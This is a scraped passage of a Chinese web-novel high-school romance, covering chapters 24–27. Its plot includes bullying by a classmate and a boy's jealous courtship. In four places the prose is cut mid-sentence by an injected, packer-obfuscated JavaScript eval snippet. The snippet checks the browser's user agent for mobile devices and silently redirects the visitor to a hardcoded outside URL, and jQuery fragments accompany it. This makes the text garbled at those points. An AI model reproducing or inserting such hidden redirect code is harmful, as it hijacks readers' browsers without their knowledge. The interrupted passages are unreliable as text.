尤伽乖乖做了一个“封条贴嘴”的动作,可没过多久,还是忍不住开口:“其实陈屿这人挺好的,要不你考虑考虑?要是你们在一起了,我肯定是你们的头号CP粉。” …… 回到教室的时候,陈屿也在,他看见姜挽脸上的红晕,很疑惑:“怎么了?” “没事,”姜挽有点敷衍,“有点热。” 陈屿朝窗外看一眼,今天明明是阴天。 她不说,陈屿便去问尤伽:“是不是你们回来的路上发生了什么?” 尤伽本来也不想说的,可突然间,她意识到,这或许是个机会:“是啊,我们回来的路上碰到……” “尤伽!”姜挽担心她会说出一些不合时宜的话,连忙打断了她。 尤伽却朝她投过去一眼,安慰她别担心,继续开口道:“我们刚才回来的路上碰到暗恋你的学妹了,她让我和姜挽帮她送情书。” 一听是这个原因,陈屿的表情立马有些不自然,孟云程每天给他拿回来的那些已经够他烦的了,现在竟然还直接跑到了姜挽面前。 他刚想交代以后不要随便帮他收这些,尤伽却再次开口:“不过我们拒绝了。” “你们拒绝了?”陈屿有点不敢相信,甚至于说是带着点欣喜,“为什么?不是,我的意思是你们怎么拒绝的?” “直说啊,这种私人的东西,我们还是觉得她自己送比较好。对了,我们还说你已经有喜欢的人了,”尤伽边说,边观察陈屿的表情,“没有提前和你打招呼就直接这样说,不会对你造成什么困扰吧?” “不会,”陈屿很果决,“况且你说得对,我是有喜欢的人了。” 这话他虽是回答尤伽的问题,可眼神和注意力却全程都在姜挽身上。 “是吗?是谁?”尤伽很兴奋,感觉马上就要接近事实真相了。 可陈屿却突然不回答了。现在的时机和地点都不对,他不会在这种情况下说太多。 尤伽半天没等到他的回答,也就没再问,不过有些时候沉默就是最好的回答。她朝姜挽眨了眨眼睛,笑着转回了座位。 尤伽一转回去,陈屿便立马对着姜挽开口:“刚才我说的话,你都听到了吧?” 姜挽有点躲着他,垂眸开始翻书:“嗯。” 像是怕她没听到,又担心她不相信,陈屿又重复了一遍:“我说我有喜欢的人,是真的。” “嗯。”姜挽还是没和他对视,如果她此刻扭头看一眼的话,就会发现陈屿眼中那闪耀如星河般的东西。 少年的爱意,像打碎了满天的星子,诚挚地冒着热气。 她不大想聊这个话题,陈屿也看出来了,于是没再继续,反正他都可以等。侧过头,只交代:“以后再遇上这样的事,你不用管,直接离开就行。” “还有,我以后会尽量减少这种事情的发生。” 陈屿说的信誓旦旦,可这个世界有时就是这么巧合,在他说完这句话的隔天,便再次在路上被人拦了下来,而且,还当场被姜挽撞见了。 教学楼下,宣传栏旁,陈屿被一个高个女生拦住了,对方面带羞怯,欲语还休,红着脸将一张粉红色信笺递给他。 陈屿当然不会接,可秉着不伤害别人自尊的原则,他还是耐着性子和她交涉了两句。哪知对方却是一个得寸进尺的主儿,看他这样,便非要他收下。 陈屿哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448270|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么好的耐心,正打算拒绝,不远处突然走过来两道熟悉的身影,是姜挽和尤伽。 一瞬间,什么尊重,周全,还有考虑,全被他抛到脑后去了,看见姜挽走过来,他便什么都顾不上了。决绝,甚至是不耐烦地,他当即便打断了对面的人,快速越过人群径直朝姜挽走去。 走近了,一时却又不知该说些什么,尤伽有点看他笑话的意思:“你这异性缘可真是好呀,刚才又有人和你表白呢?” 陈屿很郁闷,可尤伽说的也是实话,他没办法反驳。 就这么一路跟着她们回了教室,陈屿也没找到单独和姜挽说话的机会,直到他们二人在座位上坐下。 “其实刚才不是你看到的那样,你别误会,她的东西我没收。”陈屿上来先解释,他真是一点也不想姜挽误会。前脚刚和她说了以后会减少这种事情的发生,后脚就在人家眼前上演,这样显得他实在是太没信誉了。 姜挽很安静,默默听他说完,继而从书桌里拿出试卷:“我没误会,而且,你其实没必要和我解释的。” 她的语气虽然平淡,表情也一如往常,可是姜挽自己知道,她这会儿心里其实是有点闷的。谈不上不高兴,就是像一个突然泄了气的皮球,做什么都没心情。 究其原因,她不得不承认,确实是被刚才看到的场面影响了。 之前她看到的多是情书,像这样真切看到陈屿和另外一个女生站在一起,今天还是第一次。而且那个女生她也认识,是舞蹈班的苏青眠,不仅长得漂亮,家世也很好。 所谓,有了比较,难免就会有落差。 “怎么没必要?”陈屿有点急,一时间,他也说不清是想她生气,还是不想她生气,“我为什么和你解释,你不清楚吗?” 清楚吗?会是她想的那样吗? 姜挽答不上来,也不敢问。因为她清楚地知道她和陈屿之间有一道鸿沟,所以只能选择逃避。 话出口,陈屿也觉得自己刚才有些太急了,叹一口气:“算了,你不想说就不说吧。” —— 另一边,自从刚才看到陈屿跟着姜挽走后,苏青眠就气得直哆嗦。不收她的情书就算了,竟然还当着她的面和其他女的一起走了,这口气,她咽不下去,这个人,她也丢不起! 苏青眠本就性格骄横,在陈屿这里吃了瘪,便想方设法地要把气撒给其他人:“刚才那个女的,你们认识吗?” 她旁边还站着其他三个女生,都是平日里跟着她的人,对她的脾气也都了如指掌,因此最清楚她为什么会生气。 其中一个瘦高个先开口:“她叫姜挽,是陈屿的同桌,听说成绩不错,之前好像还做过分享来着。”说到这,她四周看了看,见没什么人,才继续道,“而且,别看她看起来挺清纯的,其实可有心机了,整天就知道缠着陈屿。我听说,昨天有人让她帮忙送情书还被拒绝了呢,现在来看,她就是故意的,想一个人霸着陈屿罢了。” 她刚说完,立马有人跟着附和:“是啊,我刚才就看她不顺眼,也不看看自己几斤几两,就想和陈屿搭上关系,真是异想天开。” 苏青眠在一旁越听越生气,一回头瞥见光荣榜上贴着的陈屿和姜挽的照片,差点发狂。 他们因为是理科的年级第一和第二,两人的照片离得很近,又都是红底,乍一眼看过去,竟然有点情侣头像的意思。 苏青眠发起脾气来,也是什么都不管,指着姜挽的照片就要撕,最后还是被旁边人拦了下来。 她恨恨地离开,嘴里还不忘念叨:“想和我抢,也得看看你有没有这个资本!” 25. 第 25 章 这两天,姜挽经常会收到一些莫名其妙的短信。 固定的两三个电话号码,时间基本都是在晚上,而且短信的内容也大差不差,都是一些辱骂她,或者警告她老实点的内容。 姜挽很纳闷,印象中,她好像并没有在学校里得罪过什么人。她以为只是一些恶作剧,于是随手删掉短信,也就没放在心上。 殊不知,有人就是要针对她。 今天是她和陈屿值日的日子,清扫完后,姜挽打算先去一趟卫生间再回家。这个点,按理说学生都已经放学了,可姜挽接连推了两扇门都是关着的,只得选了其他的。 正奇怪,那两扇门内突然传来动静,像是有水波在晃动,风一吹,声音听得更明显了。 姜挽觉得奇怪,也有点怕,正打算推门出去,那动静突然由远及近,在她面前停下了。隔着一扇门,猝不及防地,突然一桶水朝她兜头浇了下来。 水很凉,姜挽又没有任何思想准备,忍不住尖叫出声。与此同时,门外传来一阵大笑,还有拍手叫好的声音。 “谁在外面?”姜挽忍住剧烈的心跳和上下打磕的牙齿,开口问道,可回答她的只有风声。 等她终于从刺骨的凉意中缓过来几分,哆嗦着拧开门把手时,外面的人早跑没影了。 头发粘在脸上,还有从里到外已经完全湿透的衣服和裤子,难受极了。姜挽没办法出去,只得先待在这里想办法。 也不知过了多久,外面突然传来陈屿的声音:“姜挽,你在里面吗?” 这会儿突然听到他的声音,姜挽一瞬间竟有些鼻酸,也分不清是欣喜更多,还是委屈更多:“我在。” 听到她的回答,陈屿松了一口气,刚才在教室里等那么久她都没回来,他担心坏了,就怕她遇上点什么。 “赶紧出来吧,时间不早了,我送你回家。” 姜挽看着自己湿透的全身:“我现在……出不去。” “出不去?什么意思?”陈屿有点没明白。 姜挽正思考该怎么和他解释,陈屿却等不了那么久:“你出来,不出来我就进去了。” “别,你等一下。”这话,别人说姜挽是不相信的,可陈屿说,她知道他是能做出来的。 对着镜子大致把头发整理了一下,又使劲抻了抻外套和裤子,直到它们没那么明显得贴在身上后,姜挽这才从厕所里走了出来。 陈屿见她出来,第一眼有点懵,随即立马脱下自己的外套,披在她身上,指尖接触到她的身体时,那冷意让他倒吸一口凉气。 “谁干的?”陈屿毫不掩饰怒意,语气甚至可以用咬牙切齿来形容了。 姜挽这会儿已经没那么冷了,准确来说,是已经冻得麻木了:“不知道,她们走得很快。” “操!”陈屿忍不住骂出声,可即便再生气,他也知道这会儿先让她洗澡换衣服才是最重要的。 “给你妈发微信,说你临时有个补习,要晚点回家。” “为什么?”姜挽不理解,“我现在不回家吗?” “难道你想顶着这身湿透的衣服回家?”陈屿虚揽着她的肩膀往教室走,就是她想,他也不会同意的。 “你现在浑身都湿透了,必须要赶紧找个地方洗澡换衣服才行,不然明天一定生病!” 他安排得很有条理,姜挽也想不到其他更好的办法,于是便跟着他回了教室。见他匆忙收好了她的东西,又背起她的书包,这才开口:“那我们现在去哪里?” “开房。” “开……房?”姜挽怀疑自己听错了,这太让她震惊了,“会不会不太合适?” “没什么不合适的,开个房间你先洗澡,然后再把衣服烘干……”话说一半,陈屿突然停下来,转身看着她,上下审视。他故意抬高下巴,带着点做作的批判,“你想哪里去了?都这个时候了,能不能少想点乱七八糟的?” 知道自己误会了,姜挽也有点尴尬,于是她干脆没接这茬,转移了话题:“我没开过房,一般需要注意些什么?” 她这话说的,好像他很有经验似的,陈屿不爱听,闷闷开口:“我也是第一次。” 酒店虽然他住过很多次,可和异性,这是他当之无愧的第一次:“先去看看吧。” 陈屿带着她先去了附近最高档的一家洲际酒店,可因为姜挽没带身份证,办不了入住。又接连跑了好几家档次稍微低点的连锁酒店,结果都差不多,前台都说最近查得很严,没办法通融。 最后实在没办法了,陈屿只能带着她进了一家私人酒店,这家老板倒是没说什么,像是见惯了一样,很爽快地就给他们开了房。 而且老板貌似还有点误会了,房卡递给他们的时候,特意强调,有些东西床头柜里都有,都可以用,离开的时候记得付钱就行。 陈屿匆匆接过房卡,带着姜挽进了房间。进去后的第一件事,便是开空调,等到室内温度暖和起来了,他才让姜挽把外套脱了。 然后又是一通室内检查,姜挽看着他忙活,几次想帮忙他也没让,有点无聊,于是便没话找话:“对了,刚才我们办入住时,那个老板说床头柜里有东西可以用,是什么东西?” 说着,她就要伸手去拉抽屉,被陈屿一个眼疾手快拦下了:“没什么,我们用不上。”仗着她不懂,陈屿糊弄她,“而且你没听到老板说吗,用了要付钱的,所以这里的东西不要随便乱动。” “哦。”姜挽乖乖收回手,反正她也不是很好奇。 看着她这样,陈屿又觉得自己有些不地道,可如果不那样说的话,他又能怎么和她解释呢? 成人用品?两性关系? 这几个字,他自己都开不了口。 屋内都检查好了,确认没有任何不妥当的地方,陈屿才去浴室给她放水,等水温热起来,他和她交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448271|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代:“你先洗澡,我出去买点东西。记住无论谁敲门都不要开,洗完澡微信和我说一声。” 临行前,他又特意强调:“还有,床头柜里的东西不要乱翻。” 姜挽乖乖点头:“好。” 因为担心她,陈屿没敢去太远的地方,就在楼下的超市给她买了换洗的衣服,来回不过十几分钟。等回到酒店的时候,姜挽当然还没洗完,他也还没收到她的微信。 但陈屿也没敲门,就站在门外,默默浏览手机,开始点外卖。等终于收到她的微信,隔着门听见她脚步声后,陈屿才给她回了一条微信:【开门。】 打开门,姜挽还穿着刚才的校服,陈屿把新买的衣服递给她:“先将就穿着,一会儿等校服干了再换回来。” 姜挽点点头,乖乖进浴室换衣服去了。陈屿给她衣服是一套运动装,和校服的样式差不多,只不过颜色更为鲜艳,款式也更加修身。 一上身,姜挽忍不住惊讶,他买的尺码刚刚好,不大不小,很合身。 她拿着校服从浴室出来:“尺码很合适,谢谢你。” 陈屿正在开外卖,听见她的声音,扭头看过去,这一眼,硬生生让他停下了手上的动作。 确实很合身,而且还很漂亮。 直筒的裤子版型衬得她双腿更加纤长笔直,上衣的拉链设计也恰好露出她的锁骨。许是因为刚洗过澡,她皮肤清透,灯光下泛着一股水润的光泽,像是桃子之类的某种水果,让人忍不住…… 陈屿只看了一眼,便迅速移开了视线:“换下来的衣服给我,你先过来吃面。” 这种酒店没有干洗服务,陈屿只得拿吹风机帮她吹,一点点,一件件。 热气拂耳,风声呼呼,借着这热意,借着这声响,他兀自整理着自己已经快要溢出来的心事。 姜挽要帮忙,陈屿不让,于是便有了她在桌子旁边安静吃面,他在一旁勤勤恳恳帮她吹衣服的画面。 姜挽先吃完,没多会儿,陈屿也把衣服吹得差不多了。她去浴室换了校服,出来就要把新买的衣服还给陈屿。 陈屿却不接:“你留着,还给我,我也没什么用。” “那我把钱给你。” 说着,姜挽就要去拿手机,陈屿当然还是不肯要:“没多少钱,不用这么麻烦。”他顺手将衣服收起来,塞进她书包里,“走,送你回去。” 对他们开了房间,却这么快就退房的行为,老板虽然有些疑虑,却也没多说什么,很爽快地便帮他们办了退房。 陈屿一路将姜挽送到公交站,看着公交车消失在夜色里,这才打车离开。 姜挽回到家,沈曼还没回来,现在到了十一月中下旬,她的工作量比月初更多了,每天几乎都要半夜才能到家。 姜挽先在微信里和她说了一声,继而拿出陈屿放进她书包里的那身衣服,小心叠好,又仔细放进了衣柜的最里层。 26. 第 26 章 当天晚上,那些乱七八糟的短信,姜挽还是收到了。只不过和之前不同的是,这次短信的内容里提到了她今晚被泼的事情。 什么“水很凉”,“被淋湿一定很爽”,“听到她尖叫就兴奋”的字眼充斥着她的手机屏幕,让姜挽不得不怀疑,今晚故意泼她的人,其实和一直以来给她发短信的,是同一批人。 这已经不是她所认为的单纯恶作剧那么简单了,所以,这次的短信,她保留了下来。 次日周五,下午有一节体育课。 高三因为学业繁忙的原因,周五相对而言会轻松一些,大家一般也都喜欢把体育课放在这天,所以,有时课上遇见好几个班级一起,也属正常的情况。 这次就是如此,除了姜挽她们班外,还有几个文科班和舞蹈班的学生。 体育课上,学校可供选择的运动不多,以男女生为单位分开,男生基本都是篮球和足球,女生则是排球和跳绳。 姜挽和尤伽选了排球,两人都不属于运动型选手,所以一开始接球和发球难免有些笨拙。 来回几次折腾,尤伽发现不远处有三四个女生正盯着她们,她指给姜挽看:“呦呦,那几个人你认识吗?怎么一直盯着咱们。” 隔得有点远,姜挽也看不清楚,但大概能看出来是舞蹈班的几个女生:“可能是觉得咱俩打得太差了吧。” 她自嘲地笑笑,没在意:“快继续吧,不然这一节课下来,咱俩估计连发球都练不好。” “好。”尤伽也没再看。 可没想到,没过多久,那些人竟径直朝她们走了过来。来人一共四个,最前面的女生个子高,身材好,走起路来步子迈得大,气势拿得足,有股明显的娇纵劲儿。 “是苏青眠和她的小跟班,上次和陈屿表白的那个人。”尤伽在姜挽耳边提醒。 姜挽也认出来了:“嗯。” “她们来干嘛?” 姜挽还没来得及回答,那几人已经走近,为首的苏青眠将姜挽上下打量了一番,没怎么正眼看人:“那边人满了,不介意我们一起打吧?” 虽然不常发生,但这种情况也还是有的。体育课上遇到运动器材不够,场地限制的情况,几个班的同学偶尔也会一起活动。 姜挽没立即表态,毕竟这里除了她和尤伽,还有其他几个女生:“问问其他人的意见吧。” 苏青眠便又把目光投向其他人,她本就个子高,又时刻抬高下巴,所以看人的时候,总有点居高临下的意思。 其他人也知道她的性格,自然也没多的意见:“当然可以。” 话音落,苏青眠旁边的那个高个女孩便立即从姜挽手里把球拿了过去:“那开始吧。” 她跑得很快,带起的风里,似乎都有一股藏不住的不怀好意。 因为她们几个人的加入,球场上的氛围一下就变了,原本是带着点娱乐性质的放松,这会儿突然紧张起来,瞬间成了一场严肃的对峙和厮杀。 尤其是苏青眠她们那几个人,打球不讲策略,也不在乎输赢,似乎只为了人身攻击,且次次针对姜挽。 一开始大家还没发现,次数多了,难免多疑,在球再一次被扔在姜挽身上的时候,尤伽彻底怒了:“你们到底是打球,还是打人啊?这都多少次了,没长眼睛吗?” 对方也毫不示弱:“有你这么说话的吗?张口就骂人?打球哪有这么好的,被碰一下,砸一下,不是再正常不过的事情吗?与其责怪别人,还不如好好反思一下,为什么自己每一次都接不住。” 这是赤裸的挑衅,已经完全超出了正常打球的范畴。 尤伽要上,被姜挽拦下了,这几个人她也看出来了,是故意的。虽然还不懂她们为何会如此,但这里也不是理论的地方。 “算了,我们走吧,换个其他的运动。” 姜挽拉着尤伽要走,对面的苏青眠却突然走了过来,拦住她:“先别着急走呀,这才玩儿了多长时间。”她从高个女生手里接过排球,“刚才王茜不小心砸到你了,是她不对,我替她道歉。” 她嘴上说着道歉,眼里却丝毫没有悔意:“这样吧,作为补偿,我来教你怎么接球,我看你刚才接球的姿势有很大问题。” 姜挽其实是不愿意的,可苏青眠似乎并没给她拒绝的时间,推开尤伽,顺势便站在了她身后。 塞球,托手,抛起。 几个动作像是提前设计好了似的,等姜挽反应过来的时候,球已经飞出去了,同时传进她耳朵里的,还有另外一句话:“看来,昨晚的水还是不够凉,我今天得再加把劲。” 一瞬间,姜挽像是失去了听觉,耳边不停回荡的,只有苏青眠刚才那句话。 原来,这一切,都和她有关。 短信,泼水,还有今天的砸球。 可为什么呢?自己和她一向没有交集,上次她和陈屿表白时,还是姜挽第一次近距离见到她,以往都是从同学口中了解的只言片语。 陈屿…… 她做这些莫不是和陈屿有关? “砰”的一声,是排球落地的声音。姜挽忙回神,可等她顺着声音看过去,才发现排球并没有落地,而是砸到人了。 那人揉了揉肩颈,随即皱着眉转过身来,竟然是裴思。 裴思原本是有点不高兴的,可转头一看是姜挽,随即变了神色。挑了下眉,捡起球,朝她走来。 姜挽回头看了一眼,身边哪里还有苏青眠她们的影子,知道这个哑巴亏现在只能她自己吃了。于是,迎了上去:“抱歉,刚才不小心砸到你了。” 裴思没接她这茬,一手托着排球,另一只插进口袋:“还记得我吗?” “什么?”姜挽有点没反应过来。 裴思笑了,虽然姜挽对他这种类型的没什么感觉,可也不得不承认,他笑起来,确实有一种春风拂面的清新感。 “之前差点砸到你的那个人。” 姜挽点点头,她其实不大会应对生人,于是还是决定继续刚才的话题:“刚才不好意思……” 这次,裴思没等她说完,温和地打断了她:“我砸你一次,你砸我一次,很公平,所以你不需要道歉。” 他这么说,姜挽一时倒是不知该说些什么了。 见她这样,裴思又笑了,他将排球递给旁边的女生,从口袋里掏出手机:“算起来,我们也算是有缘,不如加个微信吧?” 姜挽其实不想加,她微信上人不多,一直也不怎么愿意加一些不太熟悉的人。正犹豫该如何拒绝,突然听到身后传来一阵脚步声,很快,还伴随一声冷淡的回应:“她不加。” 随即,一道高大的身影出现在她面前,正好将她和裴思隔开,是陈屿。 陈屿很高,几乎将她全部挡在了身后,同时挡住的,还有裴思的视线,以及姜挽刚才那点无处安放的尴尬和不安。 阳光从枝桠的缝隙射进来,给他的周身镀上一层浅淡的金色。风,影,还有此刻陈屿的背影,都让姜挽有一种难以言说的安全感。 “哦?是吗?你怎么知道?”裴思一连三个问句。他仍然在笑,只是那笑意已经和刚才不一样了,刚才是放松,这会儿明显是尖锐,甚至还带着挑衅。 陈屿压上一步:“不然呢?你想怎么样?” 裴思也没退:“当然是让她自己说。” 眼见着两人就要杠上,恰巧下课铃声响起,姜挽忙扽了扽陈屿的袖子,拉着他往教室的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448272|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向走。 陈屿倒是没拒绝,只不过回去的一路,他一句话都没说。进了教室,回到座位,更是直接踹了凳子一脚。 姜挽以为他是因为刚才的事情生气,正准备解释,陈屿突然在她之前开口了:“我刚才要是没过去,你是不是就把微信给他了?” 突如其来的一句,姜挽愣了。 她想解释,不过陈屿好像并没打算给她开口的机会:“之前不是和你说过离他远点,不要和他过多接触吗,为什么不听?” 这话一出,姜挽也有点生气了,联想到今天这件事情的前因后果,她还觉得委屈呢。她表达不高兴的方式其实很单一,就是不说话。 她一这样,陈屿就立马不敢继续了,装作从课桌里拿出书本,实则注意力都在她身上。 他也意识到自己刚才有些过分了,可他妈的,他就是控制不住啊! 不管以前想的多好,多大度,只要一见到她和其他男生在一起,他心里的火就“蹭蹭蹭”往上冒,尤其还是那个裴思!这家伙一看就不怀好意! 也怪他自己,原本见着她周围都是女生也就没在意,谁知一走神就让别人钻了空子。 关键是他还把姜挽惹生气了,哎…… 陈屿其实没什么哄人的经验,一切不过皆是遵循本心。 东西掉了,他去帮姜挽捡;试卷发了,他帮姜挽拿;甚至还专门跑了一趟超市,买了一大堆她爱吃的零食…… 可即便他把这一切都做完,收到的也只有姜挽一句淡淡的“谢谢”。 陈屿觉得焦躁,指尖的笔被他翻来覆去转个没完,这种被她冷淡,甚至被隔绝在她世界之外的感觉,他完全受不了。 趁着她翻试卷,陈屿“啪”的一声把笔拍在桌上,顺势拿走了姜挽手中的那根:“不就说了你两句,至于这么生气吗。” 这个问题,一瞬间把姜挽问住了。 其实她也在想,至于吗?就像他说的,他不过说了两句话而已。最开始比这态度更差,更冷淡的话,她也不是没有听陈屿说过。 可为何偏偏今天就接受不了了呢? 归根到底,姜挽觉得,还是因为这次的事情涉及到苏青眠,那个和他表白的女孩。 意识到自己有点借题发挥了,姜挽收拾好心情,郑重其事地和他道歉:“抱歉,我刚才有点失态了。” 陈屿差点没被她这句话吓死,立马把笔还给她:“怎么了?” 姜挽没再接话,陈屿心里别提多着急了,愣愣看着她,真觉得自己得罪了个小祖宗。 他叹一口气:“真是怕了你了,”他去拉姜挽的手腕,把刚才买的零食撕开递给她,“我的错,我刚才太着急了,我给你道歉,好不好?” 他都这么说了,姜挽实在没有理由再生气下去,接过他递过来的零食,看了眼,她却没吃。 “又怎么了?”陈屿实在是被她搞怕了。 “这个尤伽喜欢吃,我留给她。” 不提尤伽还好,一提到她,陈屿就生气,刚才他过去的时候,那丫头正对着裴思犯花痴呢,就连他和姜挽离开,她也没注意到。 很明显,在她眼里,觉得裴思更好。 别的还好,陈屿就担心姜挽被她影响,找机会他一定得和孟云程好好说说这个事,让他多管管尤伽。 旁边零食还有一大堆,陈屿又去拿其他的给她,没想到这次姜挽还是不吃,而且理由还更加离谱:“这些小酒喜欢吃,我晚上带给它。” “小酒?又是谁?” “小猫啊,你每天和我一起喂的,不记得了?” 陈屿:“……” 罢了,罢了,反正今天这口吃的,他是喂不到她嘴里了。 27. 第 27 章 尤伽迷恋裴思的事,陈屿找机会和孟云程说了,可孟云程听后也很苦恼,甚至有点自暴自弃:“她一直都是这样的性格,我有什么办法?” 陈屿有点恨铁不成钢:“那就这么放弃,你甘心吗?” 孟云程正在吃饭,一筷子拍在桌上,眼底红红的,除了挫败,还有委屈:“我当然不甘心了,可她只拿我当朋友,”说到这,他扯出一个苦涩的笑,“有可能朋友都算不上,我一点机会都没有。” 陈屿看不惯他这颓废的样子:“那你就去争取,去努力,没有机会就制造机会。” “制造机会?什么意思?”孟云程重复他的话。 有些话,他自己说的时候没感觉,被别人一重复,陈屿倒是瞬间反应过来了。电光火石间,他意识到这个道理同样也适合他和姜挽。 没有机会就制造机会,总该有人先迈一步。 陈屿起身要走,被孟云程拦了下来:“你说清楚呀,制造机会是什么意思?” 陈屿皱眉,有点嫌弃地拂开他的手:“如果你连这句话都不懂,那么我后面的话也就没必要再说了。”他端起餐盘要走,“再说了,我还有更重要的事情要做,没时间陪你在这消磨。” 孟云程看着他的背影,重新拿起筷子,边吃,边念叨:“制造机会,到底怎么样才算制造机会呢?” —— 班里最近有一个传言,说陈屿马上就要去美国了。据说是去考察学校,如果合适的话,就会立马转学,不用参加高考,并且以后都不会再回来了。 听到这个消息的时候,姜挽正在做习题,一瞬间像是晃了神,握笔的力道加大,硬生生在练习册上拉出一道长长的印记。 见她这样,尤伽也有些紧张:“呦呦,你先别着急,这些都是传言,不一定是真的呢。”尤伽盯着她煞白的脸色,把水杯递给她,“毕竟陈屿还没说什么,应该不是真的。” 姜挽也意识到自己失态了,接过水杯,勉强喝了两口,强颜欢笑道:“没事,我只是觉得有点惊讶罢了。不过,就算他要出国留学,也是应该的。人往高处走,他这个成绩,出国发展也是很好的选择,我为他高兴。” 尤伽叹一口气:“你还是先和陈屿确认一下吧,我觉得他不是这样的人。” 尤伽刚转身,姜挽便立马懈了劲儿,像是扎紧的麻袋突然泄了气,她整个人从身体到脸色,都透着一股黯然。 她和陈屿之间隔着很多东西,姜挽一直都知道,家境,门楣,或许,还有她的母亲。 这些东西一直都存在,姜挽也从未奢望过能消除。知道那一天终究会来,但至少现在还能见到他,能够短暂地贪恋着这份美好,她就觉得足够了。 可这个突如其来的消息,像是在她刻意营造的平静湖面投入一颗石子,打破了她的幻想,敲碎了她的希冀。 今天放学后,姜挽照例和陈屿一起去喂小酒,这段时间,她们经常如此。小酒也像是知道一样,每天都会在固定的地方等着她们。 天气很好,头顶挂着一轮圆月。 沉静的月色,疏朗的夜星,姜挽摊开手,专注看小酒吃着她手心的小鱼干。 还剩最后几口,等到小酒终于吃完了,姜挽才抬手捋了下头发:“听说,你要去美国了?” 陈屿先是一愣,随后有点心虚地开口:“啊,对。” 看来是真的了。 耳边风声带着枝桠“哗哗响”,腿边还有小酒不停蹭着她要新的零食,姜挽抱着膝盖,压下心头的酸涩,又给小酒拿了一份。 静了片刻,陈屿试探性地开口:“你觉得怎么样?” “挺好的。” “你真这么觉得?” 他似乎有点不高兴,但姜挽并不明白因为什么:“你成绩这么好,家里又有条件,去更好的地方发展是应该的。” “所以,这是你的心里话?”陈屿有点负气。 姜挽茫然地看着他,点点头,希望他好,希望他能去更大的舞台,这确实也是她心里的想法。 “既然这样,”陈屿拍了拍手,由蹲着的姿势改为站起来,“我们认识这么长时间了,这些日子我也帮了你不少忙,在我离开前,我希望你能答应我一个要求。” “好,你说。” “和我拥抱一下。” “什么?”姜挽“腾”的一下从地上站起来,小酒没了吃的,开始呜呜叫,她忙又蹲下去把东西放到它跟前。 “我说,在我离开之前,希望你能和我拥抱一下。”陈屿郑重其事地又重复了一遍,不像是在开玩笑。 他说的内容,姜挽当然听清了,她只是不明白为什么要这样:“为什么?” “离别前拥抱告别,这不是再正常不过的吗?”陈屿其实也有点心虚,但他必须硬挺着。挺到姜挽同意,挺到他自己都相信这个理由。 “能不能换成别的要求?” “不能,”她在犹豫,陈屿趁热打铁,“你刚才不是也已经同意了吗?” “刚才我不知道是这个要求。” “你讨厌我?”陈屿换了种问法。 “不讨厌。” “我们是不是朋友?” “当然。” “那不就结了,既然我们是朋友,你又不讨厌我,朋友间的离别拥抱,为什么不可以?” 他的话,语速又快,逻辑也在,姜挽基本还不上嘴。 “就一次,你要是不喜欢,我绝不强求。” “那……好吧。” 话音落,陈屿便立马迈近两步,两人间的距离一瞬间拉近,姜挽能清晰看到他长长的睫毛,和睫毛下映着月光的黑色瞳仁。 呼吸声,树梢的风声,还有快要跳出胸膛的心跳声。 很快,陈屿迎上来了,说是拥抱,他其实也只是虚搭着她的肩膀而已:“讨厌吗?” 耳边响起他的声音,沉沉音色随着耳骨传入心脏,一瞬间姜挽几乎忘了呼吸。她将脸偏向一边,愣愣盯着地上月光照亮的方寸之地:“还行。” 欲盖弥彰。 他们都在用最蹩脚的理由,掩饰自己心底最真实的想法。 “等我回来,我给你带礼物。”陈屿突然开口。 “回来?” “是啊,我去美国考试,一个星期后回来。” “考试?你不是要转学去美国吗?”姜挽从他怀里挣开,用她那双盈盈如水的桃花眼把他看着,满脸的疑惑。 陈屿抬手用指节轻碰了一下她的脸颊:“谁说的?” 姜挽还愣着,也没意识到这动作的不妥:“大家都在说,难道不是吗?” “当然不是了,我只是去美国参加AMC比赛而已,我可从来没说过去留学。” “那你刚才……” “刚才我也没说啊。” 姜挽一个头两个大,心里两种情绪来回撕扯着。一种是知道他不会离开后的欣喜,另一种是察觉被骗后的郁闷:“那你要出国留学的消息,是怎么传出来的?” 陈屿摊开手,一脸无辜:“我也不知道,我只不过是说了要去美国,就被人传成这样了。” 好嘛,听来听去,他就是一点责任都没有嘛。 “那你刚才为什么还说要拥抱?” “虽然不是去留学,但我也确实是要去美国,离开前要求一个拥抱,好像也不过分吧。” “你……” 眼见着她要发怒,陈屿连忙蹲下去,拿小酒当挡箭牌:“小酒,我去美国了,你会不会想我?”他轻轻捋着它的后背,“想我也没关系,你可以给我发微信,打电话,或者视频都可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 